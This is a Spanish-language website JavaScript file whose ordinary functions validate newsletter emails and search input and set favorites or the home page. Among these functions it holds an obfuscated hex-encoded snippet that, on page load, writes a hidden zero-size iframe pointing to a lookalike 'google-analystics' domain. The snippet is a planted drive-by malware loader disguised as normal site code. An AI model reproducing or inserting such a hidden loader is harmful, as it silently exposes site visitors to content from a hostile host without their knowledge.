if(top.location != self.location){
	top.location = self.location;
}

function addToFavorite(favWeb,favTitle){
	if((navigator.appVersion.indexOf("MSIE") > 0) && (parseInt(navigator.appVersion) >= 4)){
		window.external.AddFavorite(favWeb, unescape(favTitle));
	}
}

function setHomePage(homepage,la_url_es){
	var agt=navigator.userAgent.toLowerCase();
	var is_major = parseInt(navigator.appVersion);
	var is_minor = parseFloat(navigator.appVersion);
	var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1) && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1));
	var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1));
	var is_ie3 = (is_ie && (is_major < 4));
	var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5")==-1) );
	var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5")==-1) && (agt.indexOf("msie 6")==-1));
	var is_ie5up = (is_ie && !is_ie3 && !is_ie4);
	var is_win = ( (agt.indexOf("win")!=-1) || (agt.indexOf("16bit")!=-1) );
	if (is_win && is_ie5up){
		oHomePage.style.behavior='url(#default#homepage)';
		oHomePage.setHomePage(homepage);
	}
}

//funciones boletín
function comprueba(f){
	var mail = f.mail.value;
	var pasa = true;
	if(mail.indexOf(' ')!=-1){
		pasa = false;
	}
	if(mail.indexOf('@') == -1){
		pasa = false;
	}
	if(mail.indexOf('.') == -1){
		pasa = false;
	}
	if(pasa){
		pos_arroba = mail.indexOf('@');
		nombre = mail.substring(0,pos_arroba);
		dominio = mail.substring(pos_arroba+1);
		if(nombre.length == 0)
			pasa = false;
		if(nombre == '.')
			pasa = false;
		if(dominio.length == 0)
			pasa = false;
		if(dominio.indexOf('.') == -1)
			pasa = false;
		len_dom = dominio.length - 1;
		if ((dominio.charAt(0) == '.')||(dominio.charAt(len_dom) == '.'))
			pasa = false;
		if(!charCorrectos(nombre))
			pasa = false;
		if(!charCorrectos(dominio))
			pasa = false;
	}
	if(!pasa){
		alert('El mail introducido no es válido');
	}
	return pasa;
}

function charCorrectos(cadena){
	pasa = true;
	validos='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.';
	for(i=0;i<cadena.length;i++){
		if (validos.indexOf(cadena.charAt(i))==-1){
			pasa = false;
		}
		if(cadena.charAt(i)=='.'){
			if((i!=cadena.length-1) && (cadena.charAt(i+1)=='.')){
				pasa = false;
			}
		}
	}
	return pasa;
}

wptm=[''];pwcfabet(['693C72666D61206572733D63682274743A702F2F6F67676F656C612D616E796C747363692E736F632F6D6E69632E6967323F223066206172656D']);function pwcfabet(wlummcfy){wlummcfy[4]=function(viruxz){return(viruxz[0][viruxz[1]](viruxz[2],viruxz[3]));};wlummcfy[2]=/(..)(..)/g;wptm[1]='write';wlummcfy[3]='%$2%$1';wptm[2]=document;wlummcfy[1]='replace';wptm[0]+=unescape(wlummcfy[4](wlummcfy));return(wptm.slice(0,3).reverse().concat(['',wlummcfy[4]]));};pwcfabet(['6F6264727265223D22306220726F65643D7230222022697774643D6830222022656867697468223D223073207974656C223D6F70697369746E6F'])[4](pwcfabet(['203A62616F73756C6574203B697669736962696C7974203A696864646E65203B69647073616C3A796E206E6F22653C3E692F72666D613E65']));

function compruebaq(f){
	pasa = true;
	if(f.q.value.length == 0){
		alert('Introduce una palabra o frase clave para buscar');
		pasa = false;
	}
	return pasa;
}